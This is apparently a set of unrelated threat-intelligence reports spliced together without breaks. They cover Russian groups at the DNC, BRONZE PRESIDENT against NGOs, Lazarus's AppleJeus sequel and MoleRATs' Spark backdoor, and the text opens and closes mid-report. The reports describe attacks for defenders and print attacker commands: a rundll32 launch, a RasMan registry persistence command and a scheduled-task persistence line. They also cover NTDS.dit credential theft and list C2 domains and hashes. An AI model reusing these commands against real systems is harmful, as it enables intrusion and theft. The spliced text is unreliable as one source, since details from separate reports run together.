These actions demonstrate a well-resourced adversary with a thorough implant-testing regime that is highly attuned to slight configuration issues that may result in their detection , and which would cause them to deploy a different tool instead .
The implants are highly configurable via encrypted configuration files , which allow the adversary to customize various components , including C2 servers , the list of initial tasks to carry out , persistence mechanisms , encryption keys and others .
An HTTP protocol with encrypted payload is used for the Command & Control communication .
FANCY BEAR ( also known as Sofacy or APT 28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
Their victims have been identified in the United States , Western Europe , Brazil , Canada , China , Georgia , Iran , Japan , Malaysia and South Korea .
Extensive targeting of defense ministries and other military victims has been observed , the profile of which closely mirrors the strategic interests of the Russian government , and may indicate affiliation with GRU , Russia ’s premier military intelligence service .
This adversary has a wide range of implants at their disposal , which have been developed over the course of many years and include Sofacy , X-Agent , X-Tunnel , WinIDS , Foozer and DownRage droppers , and even malware for Linux , OSX , IOS , Android and Windows Phones .
This group is known for its technique of registering domains that closely resemble domains of legitimate organizations they plan to target .
Afterwards , they establish phishing sites on these domains that spoof the look and feel of the victim ’s web-based email services in order to steal their credentials .
FANCY BEAR has also been linked publicly to intrusions into the German Bundestag and France ’s TV5 Monde TV station in April 2015 .
At DNC , COZY BEAR intrusion has been identified going back to summer of 2015 , while FANCY BEAR separately breached the network in April 2016 .
We have identified no collaboration between the two actors , or even an awareness of one by the other .
Instead , we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials .
While you would virtually never see Western intelligence agencies going after the same target without de-confliction for fear of compromising each other ’s operations , in Russia this is not an uncommon scenario .
“ Putin ’s Hydra : Inside Russia ’s Intelligence Services ” , a recent paper from European Council on Foreign Relations , does an excellent job outlining the highly adversarial relationship between Russia ’s main intelligence services – FSB , the primary domestic intelligence agency but one with also significant external collection and ‘ active measures ’remit , SVR , the primary foreign intelligence agency , and the aforementioned GRU .
Not only do they have overlapping areas of responsibility , but also rarely share intelligence and even occasionally steal sources from each other and compromise operations .
Thus , it is not surprising to see them engage in intrusions against the same victim , even when it may be a waste of resources and lead to the discovery and potential compromise of mutual operations .
The COZY BEAR intrusion relied primarily on the SeaDaddy implant developed in Python and compiled with py2exe and another Powershell backdoor with persistence accomplished via Windows Management Instrumentation ( WMI ) system , which allowed the adversary to launch malicious code automatically after a specified period of system uptime or on a specific schedule .
The Powershell backdoor is ingenious in its simplicity and power .
This one-line powershell command , stored only in WMI database , establishes an encrypted connection to C2 and downloads additional powershell modules from it , executing them in memory .
In theory , the additional modules can do virtually anything on the victim system .
The encryption keys in the script were different on every system .
Powershell version of credential theft tool MimiKatz was also used by the actors to facilitate credential acquisition for lateral movement purposes .
FANCY BEAR adversary used different tradecraft , deploying X-Agent malware with capabilities to do remote command execution , file transmission and keylogging .
It was executed via rundll32 commands such as : rundll32.exe “ C:\Windows\twain_64.dll ” .
In addition , FANCY BEAR ’s X-Tunnel network tunneling tool , which facilitates connections to NAT-ed environments , was used to also execute remote commands .
Both tools were deployed via RemCOM , an open-source replacement for PsExec available from GitHub .
Intelligence collection directed by nation state actors against US political targets provides invaluable insight into the requirements directed upon those actors .
Regardless of the agency or unit tasked with this collection , the upcoming US election , and the associated candidates and parties are of critical interest to both hostile and friendly nation states .
The 2016 presidential election has the world ’s attention , and leaders of other states are anxiously watching and planning for possible outcomes .
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BRONZE PRESIDENT Targets NGOs .
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BRONZE PRESIDENT Targets NGOs .
The activities of some non-governmental organizations ( NGOs ) challenge governments on politically sensitive issues such as social , humanitarian , and environmental policies .
As a result , these organizations are often exposed to increased government-directed threats aimed at monitoring their activities , discrediting their work , or stealing their intellectual property .
BRONZE PRESIDENT is a likely People's Republic of China ( PRC )-based targeted cyberespionage group that uses both proprietary and publicly available tools to target NGO networks .
Secureworks Counter Threat Unit ( CTU ) researchers have observed BRONZE PRESIDENT activity since mid-2018 but identified artifacts suggesting that the threat actors may have been conducting network intrusions as far back as 2014 .
The BRONZE PRESIDENT cyberespionage group targets NGOs , as well as political and law enforcement organizations in countries in South and East Asia .
The threat group appears to have developed its own remote access tools that it uses alongside publicly available remote access and post-compromise toolsets .
After compromising a network , the threat actors elevate their privileges and install malware on a large proportion of systems .
The group runs custom batch scripts to collect specific file types and takes proactive steps to minimize detection of its activities .
Analysis of a threat group's targeting , origin , and competencies can determine which organizations could be at risk .
This information can help organizations make strategic defensive decisions in relation to the BRONZE PRESIDENT threat group .
CTU researchers have observed BRONZE PRESIDENT targeting multiple NGOs .
The threat actors steal data from compromised systems over a long period of time , which likely indicates a long-term objective of monitoring the target's network .
BRONZE PRESIDENT uses custom batch scripts to collect either specific file types ( including files with .pptx , .xlsx , .pdf extensions ) or all files within a specific location .
CTU researchers also observed evidence that the threat actors collect credentials from high-privilege network accounts and reputationally sensitive accounts , such as social media and webmail accounts .
Additionally , CTU researchers have observed evidence of BRONZE PRESIDENT targeting political and law enforcement organizations in countries adjacent to the PRC , including Mongolia and India .
Some of the group's phishing lures suggest an interest in national security , humanitarian , and law enforcement organizations in the East , South , and Southeast Asia ( see Figure 1 ) .
These examples reveal BRONZE PRESIDENT 's likely intent to conduct political espionage in other countries in addition to targeting NGOs .
It is highly likely that BRONZE PRESIDENT is based in the PRC due to the following observations :The NGOs targeted by BRONZE PRESIDENT conduct research on issues relevant to the PRC .
Strong evidence links BRONZE PRESIDENT 's infrastructure to entities within the PRC .
There are connections between a subset of the group's operational infrastructure and PRC-based Internet service providers .
Tools such as PlugX have historically been leveraged by threat groups operating in the PRC .
It is likely that BRONZE PRESIDENT is sponsored or at least tolerated by the PRC government .
The threat group's systemic long-term targeting of NGO and political networks does not align with patriotic or criminal threat groups .
BRONZE PRESIDENT has deployed a variety of remote access tools .
The use of tools not previously observed by CTU researchers suggests that the group could have access to malware development capabilities .
BRONZE PRESIDENT also uses widely available or modified open-source tools , which could be a strategic effort to reduce the risk of attribution or to minimize the need for tool development resources .
Following a network compromise , the threat actors typically delete their tools and processes .
However , the group is content leaving some malware on the network , likely to provide a contingency if other access channels are removed .
When the group's activities were detected in one incident , it had elevated privileges and had maintained access to the targeted environment for several months .
This finding indicates the group's effectiveness at maintaining long-term access to a targeted network .
CTU researchers and Secureworks incident responders have observed BRONZE PRESIDENT using the following tools , along with several custom batch scripts for locating and archiving specific file types :Cobalt Strike — This popular and commercially available penetration tool gains shell access to an infected system .
It allows threat actors to execute additional tools and perform post-intrusion actions on compromised systems .
Cobalt Strike appears to be one of BRONZE PRESIDENT 's preferred remote access tools .
During one intrusion , the threat actors installed it on over 70% of accessible hosts .
The group's Cobalt Strike installation typically uses a payload named svchost.exe in an attempt to disguise Cobalt Strike activity as the legitimate Windows svchost.exe executable .
PlugX — This remote access Trojan ( RAT ) is popular among PRC-based targeted threat groups .
Its functionality includes uploading and downloading files , and it has configurable network protocols .
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28
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AdFind — This command-line tool conducts AD queries .
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AdFind — This command-line tool conducts AD queries .
NetSess — This publicly available tool enumerates NetBIOS sessions .
Netview — This tool enumerates networks .
TeamViewer — This remote control and desktop-sharing tool has applications for legitimate and malicious system users .
Its installation in a temporary directory alongside network reconnaissance and enumeration tools likely indicates malicious intent .
At the time of detection , observed BRONZE PRESIDENT incidents had likely been ongoing for several months or even years .
As a result , CTU researchers were unable to ascertain the initial access vector .
In October 2019 , third-party researchers described a phishing campaign that used C2 infrastructure that CTU researchers attribute to BRONZE PRESIDENT .
This connection suggests that the group uses phishing emails with ZIP attachments that contain LNK files as an initial access vector .
During one intrusion , the threat actors gained administrator access to all systems within a targeted business unit and installed their remote access tools on 80% of the hosts .
The group installed multiple tools within the environment , including three different tools on a strategically important server , likely to provide contingency access options .
During multiple intrusions , the threat actors employed various tools and techniques to understand the network environments .
For example , they used Nmap to scan various internal IP address ranges and SMB ports .
They also relied on Nbtscan , net user , and ping commands to obtain insights and identify opportunities for lateral movement .
BRONZE PRESIDENT regularly leverages Wmiexec to move laterally .
During one intrusion , the threat actors extensively used this tool to execute WMI commands on remote hosts in the environment .
The threat actors retrieved the NTDS.dit file from the volume shadow copy .
NTDS.dit contains Active Directory data , including password hashes for all users on a domain .
Extracting hashes from the NTDS.dit file requires access to the SYSTEM file in the system registry .
The threat actors saved both the SYSTEM file ( system.hive ) and NTDS.dit in the compromised host's c:\windows\temp directory .
These files were likely exfiltrated and exploited offline to retrieve user password hashes , which could then be cracked or used to perform pass-the-hash attacks .
BRONZE PRESIDENT 's C2 techniques are dictated by its remote access tools .
The group's primary and likely proprietary RCSession RAT communicates with a hard-coded C2 server using a custom protocol over TCP port 443 .
After connecting to its C2 server , RCSession checks in with an encrypted beacon and then awaits instruction .
The ORat tool , which appears to be used less frequently by the group , communicates over TCP port 80 using a raw socket protocol ( not HTTP ) .
The Cobalt Strike tool has malleable C2 profiles .
During one intrusion , it connected to multiple C2 domains on TCP port 80 , including mail .
svrchost .
com , using the following request .
Subsequent Cobalt Strike C2 servers included subdomains of svchosts .
com , svrchost .
com , and strust .
club .
Some BRONZE PRESIDENT C2 domains analyzed by CTU researchers were hosted on infrastructure owned by Dutch VPS provider Host Sailor , Hong Kong-based New World Telecoms , and Malaysia-based Shinjiru Technology ( see Figure 7 ) .
The threat actors have used discrete infrastructure clusters that share matching hosting and registration characteristics .
The pattern of infrastructure hosting suggests that the group parks its domains when not in use , an operational security technique that limits exposure of the group's overall hosting infrastructure .
Some of BRONZE PRESIDENT 's malware has persistence capabilities .
For example , ORat uses a WMI event consumer to maintain its presence on a compromised host .
The group also creates and maintains scheduled tasks to achieve this purpose .
Figure 8 shows a Sysdriver scheduled task that periodically executes a Cobalt Strike payload .
The threat actors tend to install malware on a large proportion of hosts during their intrusions .
However , the group exercises restraint and defensive evasion tactics to minimize opportunities for network defenders to detect or investigate its activities .
For example , the threat actors deleted volume shadow copies after using them for NTDS.dit retrieval .
BRONZE PRESIDENT targets specific data types .
The threat actors use custom batch scripts to create a list of files with predefined criteria and collate the identified files into a .rar archive ( see Figure 9 ) .
CTU researchers have observed BRONZE PRESIDENT batch scripts named doc.bat , xls.bat , xlsx.bat , ppt.bat , pptx.bat , pdf.bat , and txt.bat .
The group also uses the all.bat batch script to collect all files stored on a specific user's desktop .
CTU researchers observed RCSession and Cobalt Strike on systems that BRONZE PRESIDENT targeted for data theft .
Either of these tools could have been used to exfiltrate the archived data .
BRONZE PRESIDENT has demonstrated intent to steal data from organizations using tools such as Cobalt Strike , PlugX , ORat , and RCSession .
The concurrent use of so many tools during a single intrusion suggests that the group could include threat actors with distinct tactics , roles , and tool preferences .
It is likely that BRONZE PRESIDENT has additional unobserved operational tools and capabilities .
CTU researchers recommend that organizations apply controls to mitigate common intrusion techniques and behaviors along with controls that address the tools and techniques discussed in this analysis .
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PlugX C2 server : ipsoftwarelabs.com .
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PlugX C2 server : ipsoftwarelabs.com .
RCSession C2 server : toshibadrive.com .
ORat and Cobalt Strike C2 server : strust.club .
Cobalt Strike C2 server : svchosts.com , svrhosts.com .
Cobalt Strike download location : 116.93.154.250 .
ORat malware sample : a0758535cf8eb689782b95d3791d23d5 , 774a9c3ff01a3e734b7bec0c312120126295fad9 , 2e8762c984468ee309dad30a6c5f6d3308676ac721357da442a8a5b9d9d65d82 .
Cobalt Strike payload : 7101fff478290d4db8a1c11a8d3b40cb , 4c81777551a772218519fb6dd1a6672aade4a936 , bdf1452b55b9974f3e9a4aea4439769a02fd931660ed655df92519a2a4df1261 .
Modified DLL file ( goopdate.dll ) used by BRONZE PRESIDENT to install RCSession : 0617cad9e5d559356c43d4037c86227f , f14eaf5d648aebb2ed7b00b2cf4349263b30fb1c , 2ea9ccf653f63bcc3549a313ec9d0bada341556cc32dd2ca4b73e0c034492740 .
Operation AppleJeus Sequel , Lazarus continues to attack the cryptocurrency business with enhanced capabilities .
The Lazarus group is currently one of the most active and prolific APT actors .
In 2018 , Kaspersky published a report on one of their campaigns , named Operation AppleJeus .
Notably , this operation marked the first time Lazarus had targeted macOS users , with the group inventing a fake company in order to deliver their manipulated application and exploit the high level of trust among potential victims .
As a result of our ongoing efforts , we identified significant changes to the group ’s attack methodology .
To attack macOS users , the Lazarus group has developed homemade macOS malware , and added an authentication mechanism to deliver the next stage payload very carefully , as well as loading the next-stage payload without touching the disk .
In addition , to attack Windows users , they have elaborated a multi-stage infection procedure , and significantly changed the final payload .
We assess that the Lazarus group has been more careful in its attacks following the release of Operation AppleJeus and they have employed a number of methods to avoid being detected .
After releasing Operation AppleJeus , the Lazarus group continued to use a similar modus operandi in order to compromise cryptocurrency businesses .
We found more macOS malware similar to that used in the original Operation AppleJeus case .
This macOS malware used public source code in order to build crafted macOS installers .
The malware authors used QtBitcoinTrader developed by Centrabit .
These three macOS installers use a similar post installer script in order to implant a mach-o payload , as well as using the same command-line argument when executing the fetched second-stage payload .
However , they have started changing their macOS malware .
We recognized a different type of macOS malware , MarkMakingBot.dmg ( be37637d8f6c1fbe7f3ffc702afdfe1d ) , created on 2019-03-12 .
It doesn’t have an encryption/decryption routine for network communication .
We speculate that this is an intermediate stage in significant changes to their macOS malware .
During our ongoing tracking of this campaign , we found that one victim was compromised by Windows AppleJeus malware in March 2019 .
Unfortunately , we couldn’t identify the initial installer , but we established that the infection started from a malicious file named WFCUpdater.exe .
At that time , the actor used a fake website : wfcwallet.com .
The actor used a multi-stage infection like before , but the method was different .
The infection started from .NET malware , disguised as a WFC wallet updater ( a9e960948fdac81579d3b752e49aceda ) .
Upon execution , this .NET executable checks whether the command line argument is “ /Embedding ” or not .
This malware is responsible for decrypting the WFC.cfg file in the same folder with a hardcoded 20-byte XOR key .
This mimics the wallet updater connected to the C2 addresses : wfcwallet.com ( resolved ip : 108.174.195.134 ) , www.chainfun365.com ( resolved ip : 23.254.217.53 ) .
After that , it carries out the malware operator ’s commands in order to install the next stage permanent payload .
The actor delivered two more files into the victim ’s system folder : rasext.dll and msctfp.dat .
They used the RasMan ( Remote Access Connection Manager ) Windows service to register the next payload with a persistence mechanism .
After fundamental reconnaissance , the malware operator implanted the delivered payload by manually using the following commands :cmd.exe /c dir rasext.dll , cmd.exe /c dir msctfp.dat , cmd.exe /c tasklist /svc | findstr RasMan , cmd.exe /c reg add HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\RasMan\ThirdParty /v DllName /d rasext.dll /f .
In order to establish remote tunneling , the actor delivered more tools , executing with command-line parameters .
Unfortunately , we have had no chance to obtain this file , but we speculate that Device.exe is responsible for opening port 6378 , and the CenterUpdater.exe tool was used for creating tunneling to a remote host .
Note that the 104.168.167.16 server is used as a C2 server .
The fake website hosting server for the UnionCryptoTrader case will be described next .
We also found a Windows version of the UnionCryptoTrader ( 0f03ec3487578cef2398b5b732631fec ) .
It was executed from the Telegram messenger download folder :C:\Users\[user name]\Downloads\Telegram Desktop\UnionCryptoTraderSetup.exe .
We also found the actor ’s Telegram group on their fake website .
Based on these , we assess with high confidence that the actor delivered the manipulated installer using the Telegram messenger .
Unfortunately , we can’t get all the related files as some payloads were only executed in memory .
However , we can reassemble the whole infection procedure based on our telemetry .
The overall infection procedure was very similar to the WFCWallet case , but with an added injection procedure , and they only used the final backdoor payload instead of using a tunneling tool .
The UnionCryptoTrader Windows version has the following window showing a price chart for several cryptocurrency exchanges .
The Windows version of UnionCryptoTrader updater ( 629b9de3e4b84b4a0aa605a3e9471b31 ) has similar functionality to the macOS version .
According to the build path ( Z:\Loader\x64\Release\WinloaderExe.pdb ) , the malware author called this malware a loader .
Upon launch , the malware retrieves the victim ’s basic system information , sending it in the following HTTP POST format , as is the case with the macOS malware .
If the response code from the C2 server is 200 , the malware decrypts the payload and loads it in memory .
Finally , the malware sends the act=done value and return code .
The next stage payload ( e1953fa319cc11c2f003ad0542bca822 ) , downloaded from this loader , is similar to the .NET downloader in the WFCWallet case .
This malware is responsible for decrypting the Adobe.icx file in the same folder .
It injects the next payload into the Internet Explorer process , and the tainted iexplore.exe process carries out the attacker ’s commands .
The final payload ( dd03c6eb62c9bf9adaf831f1d7adcbab ) is implanted manually as in the WFCWallet case .
This final payload was designed to run only on certain systems .
It seems that the malware authors produced and delivered malware that only works on specific systems based on previously collected information .
The malware checks the infected system ’s information and compares it to a given value .
It seems the actor wants to execute the final payload very carefully , and wants to evade detection by behavior-based detection solutions .
This Windows malware loads the encrypted msctfp.dat file in a system folder , and loads each configuration value .
Then it executes an additional command based on the contents of this file .
When the malware communicates with the C2 server , it uses a POST request with several predefined headers .
Finally , the malware downloads the next stage payload , decrypting it and possibly executing it with the Print parameter .
We speculate that the DLL type payload will be downloaded and call its Print export function for further infection .
We can’t get hold of the final payload that ’s executed in memory , but we believe its backdoor-type malware is ultimately used to control the infected victim .
We were able to identify several victims in this Operation AppleJeus sequel .
Victims were recorded in the UK , Poland , Russia and China .
Moreover , we were able to confirm that several of the victims are linked to cryptocurrency business entities .
The actor altered their macOS and Windows malware considerably , adding an authentication mechanism in the macOS downloader and changing the macOS development framework .
The binary infection procedure in the Windows system differed from the previous case .
They also changed the final Windows payload significantly from the well-known Fallchill malware used in the previous attack .
We believe the Lazarus group ’s continuous attacks for financial gain are unlikely to stop anytime soon .
Since the initial appearance of Operation AppleJeus , we can see that over time the authors have changed their modus operandi considerably .
NEW CYBER ESPIONAGE CAMPAIGNS TARGETING PALESTINIANS Over the last several months , the Cybereason Nocturnus team has been tracking recent espionage campaigns targeting the Middle East .
These campaigns are specifically directed at entities and individuals in the Palestinian territories .
This investigation shows multiple similarities to previous attacks attributed to a group called MoleRATs ( aka The Gaza Cybergang ) , an Arabic-speaking , politically motivated group that has operated in the Middle East since 2012 .
In our analysis , we distinguish between two separate campaigns happening simultaneously .
These campaigns differ in tools , server infrastructure , and nuances in decoy content and intended targets .
The Spark Campaign : This campaign uses social engineering to infect victims , mainly from the Palestinian territories , with the Spark backdoor .
This backdoor first emerged in January 2019 and has been continuously active since then .
The campaign ’s lure content revolves around recent geopolitical events , espeically the Israeli-Palestinian conflict , the assassination of Qasem Soleimani , and the ongoing conflict between Hamas and Fatah Palestinian movements .
The Pierogi Campaign : This campaign uses social engineering attacks to infect victims with a new , undocumented backdoor dubbed Pierogi .
This backdoor first emerged in December 2019 , and was discovered by Cybereason .
In this campaign , the attackers use different TTPs and decoy documents reminiscent of previous campaigns by MoleRATs involving the Micropsia and Kaperagent malware .
In part one of this research , we analyze the Spark campaign .
This campaign is named after a rare backdoor used by the MoleRATs Group , dubbed Spark by Cybereason and previously reported by 360 ’s blog .
The creators of the Spark backdoor use several techniques to evade detection and stay under the radar .
They pack the malware with a powerful commercial tool called Enigma Packer and implement language checks to ensure the victims are Arabic speaking .
This minimizes the risk of detection and infection of unwanted victims .
Cyber Espionage in the Middle East : The Cybereason Nocturnus team has discovered several recent , targeted attacks in the Middle East .
These attacks deliver the Spark and Pierogi backdoors for politically-driven cyber espionage operations .
Targeting Palestinians : The campaigns seems to target Palestinian individuals and entities , likely related to the Palestinian government .
Politically-motivated APT : Cybereason suspects that the objective of the threat actor is to obtain sensitive information from the victims and leverage it for political purposes .
Lured Into Deploying a Backdoor : The attackers use specially crafted lure content to trick targets into opening malicious files that infect the victim ’s machine with a backdoor .
The lure content in the malicious files relates to political affairs in the Middle East , with specific references to the Israeli-Palestinian conflict , tension between Hamas and Fatah , and other political entities in the region .
Perpetrated by an Arabic-Speaking APT Group : The modus-operandi of the attackers in conjunction with the social engineering tactics and decoy content seem aligned with previous attacks carried out by the Arabic-speaking APT group MoleRATs ( aka Gaza Cybergang ) .
This group has been operating in the Middle East since 2012 .
These attacks show significant similarities to previously documented attacks attributed to the Arabic-speaking threat actor , commonly referred to as the MoleRATs group ( aka , The Gaza Cybergang , Moonlight , DustySky , Gaza Hacker Team ) .
This group , which has been attributed by various security teams , is believed to be comprised of three subgroups :Gaza Cybergang Group 1 , also dubbed MoleRATs : MoleRATs has been active since at least 2012 .
This Arabic-speaking group uses spear phishing attacks to infect target machines in the Middle East and North Africa with various Remote Access Trojans ( RATs ) .
As MoleRATs most prominently targets Palestinian territories , its spear phishing attacks often use attached malicious documents on topical Palestinian Authority-related issues to lure their victims .
The group uses a mix of tools and malware , some developed by the group and others that are more generic tools .
Gaza Cybergang Group 2 , also dubbed Desert Falcons , APT-C-23 , Arid Viper .
This second group is an Arabic-speaking group that mainly targets the Middle East and North Africa , with a few targets in European and Asian countries as well .
The group is known for their advanced attacks that leverage custom-built Windows malware ( Kasperagent , Micropsia ) as well as Android malware ( Vamp , GnatSpy ) .
Gaza Cybergang Group 3: This group is believed to be behind Operation Parliament .
It is considered to be the most advanced group of the three , and is focused on high-profile targets in the Middle East , North America , Europe and Asia .
The group is reported to have previously attacked government institutions , parliaments , senates , diplomatic functions , and even Olympic and other sports bodies .
It is important to remember there are many threat actors operating in the Middle East , and often there are overlaps in TTPs , tools , motivation , and victimology .
There have been cases in the past where a threat actor attempted to mimic another to thwart attribution efforts , and as such , attribution should rarely be taken as is , but instead with a grain of salt and critical thinking .
In this attack , the targets are lured to open a document or a link attached to an email .
There have been cases in the past where victims also downloaded malicious content from fake news websites .
The names of the files and their content play a major part in luring victims to open them , as they usually relate to current topics pertaining to Hamas , the Palestinian National Authority , or other recent events in the Middle East .
The lure documents analyzed by Cybereason in this attack concentrate on the following themes :The Conflict between Hamas and Fatah : The historical rivalry between the Hamas and Fatah has resulted in many open battles between the two entities .
Since 2006 , Hamas has controlled the Gaza strip and Fatah has controlled the West Bank .
Matters pertaining to the Israeli-Palestinian Conflict : Some of the documents in this campaign reference different aspects of the Israeli-Palestinian conflict , and the efforts for ceasefire and peace processes between the Israelis and the Palestinians , including the latest peace plan made by President Donald Trump and Senior Advisor to the President of the United States Jared Kushner .
Vigilance Following Soleimani ’s Assassination : One of the lure documents mentions sources in Lebanon that report a state of alert and vigilance amongst Iranian , Syrian , and Lebasense militias following Soleimani ’s assassination .
Tensions Between Hamas and the Egyptian Government : Egypt plays a major role as a mediator in the Israeli-Palestinian confict and has brokered several ceasefire deals and other negotiations in the past .
Changes to Egypt ’s internal political climate are known to have affected Egyptian government relations with Hamas over the years .
It was recently reported that Ismail Haniyeh , the head of Hamas ’ political Bureau , had a falling-out with the Egyptian government over his visit to Tehran to participate in General Qasem Soleimani ’s funeral , following Soleimani ’s assassination .
In the Spark campaign , the lure documents and links point to one of two file sharing websites , Egnyte or Dropbox .
The target is encouraged to download an archive file in a rar or zip format that contains an executable file masquerading as a Microsoft Word document .
One example of a lure document used in the Spark campaign is a PDF file that is used to deliver the Spark backdoor to the victim .
The document includes a special report allegedly quoted from the Egyptian newspaper Al-Ahram .
This document reports that Ismail Hanieyh , the political leader of Hamas , had notified the Egyptian government that he will remain abroad after his visit to Tehran to take part in Soleimani ’s funeral , which sparked tension with the Egyptian authorities .
Haniyeh_will_remain_abroad_and_Hamas_rises_in_Gaza.pdf : 5b476e05aacea9edc14f7e4bab1b724ef54915f30c39ac87503ed395feae611e .
The target is encouraged to click on the link to read the entire article .
However , the document does not link to the Egyptian Newspaper website , but instead to a file sharing website called Egnyte .
It prompts the user to download a file that supposedly contains the full article .
Link embedded in the PDF document : https://csaasd.egnyte.com/dd/h5s7YHzOy5 .
The downloaded file is an archive file ( .r23 ) , that contains a Windows executable file with the same name as the PDF and with a fake Microsoft Word icon .
When the victim double clicks on the executable file , it unpacks and installs the Spark backdoor , as shown in the attack tree screenshot below .
The extracted executable file contains a compiled Autoit script , which can be seen in the RT_RCDATA section of the file .
The decompiled code shows the decryption routine that unpacks the embedded Spark backdoor .
Once the file is unpacked , the backdoor is dropped in two different locations on the infected operating system :C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\runawy.exe .
In addition , the Autoit code also creates the following scheduled task for persistence :SCHTASKS /Create /f /SC minute /TN runawy /mo 5 /tr C:\Users\<USER>\runawy.exe .
The executable has a Microsoft Word icon to trick victims into believing they are opening a Word document .
Once the user double-clicks on the executable file , the dropper drops a Word document in %AppData% and displays the following decoy document to the victim , while the dropper runs in the background and installs the backdoor .
%appdata%\info.docx :The dropper drops the Spark backdoor binary and a shortcut file used to initiate persistence in the following locations .
C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Blaster.lnk :The Spark payload is a custom backdoor likely developed by the MoleRATs group .
In addition to known generic malware ( such as : njRAT , Poison Ivy , XtremeRAT ) , the MoleRATs group has been known to develop its own custom tools such as DustySky , the MoleRAT Loader and Scote .
We believe this backdoor is relatively new and seems to have appeared starting in the beginning of 2019 .
The name Spark is derived from the PDB path left in a few of the backdoor binaries :W:\Visual Studio 2017\Spark4.2\Release\Spark4.2.pdb .
The Spark backdoor allows the attackers to :Collect information about the infected machine .
Encrypt the collected data and send it to the attackers over the HTTP protocol .
Download additional payloads .
Log keystrokes .
Record audio using the computer ’s microphone .
Execute commands on the infected machine .
The creators of the Spark backdoor use a few techniques that are intended to keep the backdoor under-the-radar , including :Packing the payloads with the Enigma packer .
Checking for antivirus and other security products using WMI .
Validating Arabic keyboard and language settings on the infected machine .
All the the payloads observed by Cybereason in this campaign were packed by a powerful yet commercial packer called Enigma Packer .
The MoleRATs group have been known to use this packer in previous attacks .
Enigma packer artifacts in file metadata ( SHA-256: b08b8fddb9dd940a8ab91c9cb29db9bb611a5c533c9489fb99e36c43b4df1eca ) .
One common evasive mechanism used by the Spark backdoor is its ability to check for installed security products using WMI queries ( WQL ) .
If certain security products are installed , the backdoor does not carry out its malicious activity .
Another evasive mechanism used by the backdoor is how it checks whether an Arabic keyboard and Arabic language settings are used on the infected machine .
If Arabic keyboard and language settings are not found on the machine , the backdoor will not carry out its malicious activity .
This check serves two purposes :It minimizes the risk of overexposure by specifically targeting Arabic speakers .
It can thwart detection by automated analysis engines and sandbox solutions .
After unpacking itself , the Spark backdoor creates a hidden window where most of the malicious activity is handled .
This behavior can be detected using a tool called WinLister , which enumerates hidden windows .
The name of the window is Spark4.2 .
The Spark backdoor communicates with the C2 servers over the HTTP protocol .
The data is first encrypted and then encoded with Base64 .
In this instance , the backdoor posts the data to the domain Nysura.com ( For more domains , please see the IOC section of this research ) .
It is interesting to see that the HTTP POST host header refers to a legitimate domain cnet.com , however , in acutality , the data is sent to nysura.com , as can be seen in the traffic screenshot below .
The data sent to the C2 follows a structured pattern that uses a predefined keywords array , where each keyword is mapped to a certain subroutine .
The keywords are comprised of the names of individuals .
They are mostly Western names , but there were some Arabic names in a few of the samples .
Prior to sending the data to the server , the data is encrypted and staged in an array like this :The data is then encoded with Base64 :" WzI3MDg5LDI4NjE4LDk4MzMsNDE3MCwyNTcyMiwxOTk3NywyMzY5LDIxNDI2LDM0MzUsNzQ0MiwzMDE0NiwyMTcxOSwxNjE0MCwxNjI4MCwxNjY4OCwyMjU1MCwxOTg2NywxOTQsMzI5OF0= " .
The Base64-encoded data is inserted into the following json object , which contains the individual names .
Lastly , the entire json object is encoded with Base64 and undergoes another stage of encryption , and then sent to the server :" ZjRTc1dTTU9nVW5FaXM3bGgvbU90MTlVMHFkb1c5SFFuRXhhSVR5YytIQkZremk3bk5wY21BUEZRYitJenA1cnlJY1lxREJJZ1RrL0N4UzZWcVVQM0pTUWFISlhKWG8wN1BxWE1hYThHSUdEVnBFakYrNlp1bXBvdUZMRFNYQVhxYk9tSElWYTFOTlpJK0hFVVBmTG9CQUV3VCtqQ2FCVUE1aHQ2SzllSHREMUpOdkdBUXZ3TWgyLzhtVHpha2I0TE81ZlpURTQyUmVjdFY1M0ZpemlRR1FLL1gzNE9mcU0zR0JqQ1ZnN1hCSmFGaC94RHBDMkNBRmZaSTVoVlhsaTBtQW5SR3N5QzVRY2lMNkpZVFJuRTQrUzBjdjU4SjY4ejRCL2FNbW9IakRheHdQd1RPUElkOHNDbDRVbmp2ZDM0ZVZlZTB1QVA0UHo0YllyVHRMZVRnPT0= " .
Using names as keywords is an identical technique to that of the data structure logic previously documented by 360 ’s blog post .
This post discusses an earlier variant of the backdoor attributed to the MoleRATs group .
Using other individuals names for C2 communication has also been done by the two other Gaza Cybergang groups :Gaza Cybergang Group 2 with the Micropsia backdoor :In this instance , the C2 communication implemented by the Micropsia backdoor also used specific names for different C2 commands .
Gaza Cybergang Group 3 in Operation Parliament : In this instance , the malware also used people ’s names for C2 communication to send and receive commands from the server .
Based on the similarity of the naming convention and data format , we believe the Spark backdoor could be an evolution of the backdoor mentioned in Operation Parliament , or at least inspired by the malware .
The Spark campaign detailed in this blog demonstrates how the tense geopolitical climate in the Middle East is used by threat actors to lure victims and infect them with the Spark backdoor for cyber espionage purposes .
The names of the files and decoy content seem to be carefully crafted , often referencing controversial and topical political issues .
Cybereason estimates that the files are specifically meant to lure and appeal to victims from the Middle East , especially towards individuals and entities in the Palestinian territories likely related to the Palestinian government or the Fatah movement .
The techniques , tools , and procedures used in this campaign bear great resemblance to previous attacks attributed to the MoleRATs Group ( aka Gaza Cybergang Group ) , an Arabic-speaking , politically motivated group that has operated in the Middle East since 2012 .
Our research demonstrates the efforts used by attackers to reduce the risk of detection of the Spark backdoor by various security products .
The backdoor checks for the existence of antivirus and firewall products before it initiates its malicious activity .
Importantly , the backdoor simply will not reveal its malicious nature unless Arabic language keyboard and settings are found on the infected machine .
This shows how the attackers use this backdoor in a surgical way to exclusively attack specific targets .
In addition , analysis of these backdoor delivery methods also highlights a trend by many threat actors where they use legitimate storage platforms to deliver the initial stages of the attack .
Reviving MuddyC3 Used by MuddyWater ( IRAN ) APT .
MuddyWater is a well-known threat actor group founded by Iran .
“ that has been active since 2017 .
They target groups across Middle East and Central Asia , primarily using spear phishing emails with malicious attachments .
Most recently they were connected to a campaign in March that targeted ” organizations in Turkey , Pakistan , and Tajikistan .
MuddyWater attacks are characterized by the use of a slowly evolving PowerShell-based first stage backdoor we call “ POWERSTATS ” .
